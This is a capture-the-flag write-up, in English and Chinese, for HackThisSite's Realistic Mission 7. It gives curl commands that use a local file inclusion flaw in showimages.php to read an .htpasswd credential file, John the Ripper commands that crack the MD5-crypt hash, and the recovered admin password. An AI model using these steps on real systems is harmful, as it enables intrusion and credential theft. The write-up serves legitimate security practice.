Challenge
Use a flaw in an image gallery to obtain the administrator’s credentials and access the admin directory.
目标是利用图片查看器读取 .htpasswd,破解管理员密码,再访问受保护目录。
Solution
1. 确认 LFI
页面中的图片查看器使用类似下面的参数:
showimages.php?file=patriot.txtfile 参数可被用于读取任务目录中的其他文件。目标文件位于:
images/admin/.htpasswd可用请求:
curl -sS -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/7/showimages.php?file=images/admin/.htpasswd"响应会包含管理员账户及其 $1$... 格式的 MD5-crypt 哈希。
2. 破解哈希
$1$ 表示 MD5-crypt。把完整的 administrator:<hash> 行保存后,用本地工具进行字典测试,例如:
john --format=md5crypt --wordlist=<wordlist> htpasswd.txtjohn --show --format=md5crypt htpasswd.txt本关得到的密码是:
shadow3. 访问管理员目录
curl -sS -u 'administrator:shadow' \ "https://www.hackthissite.org/missions/realistic/7/images/admin/"成功通过 HTTP Basic Authentication 后,任务完成。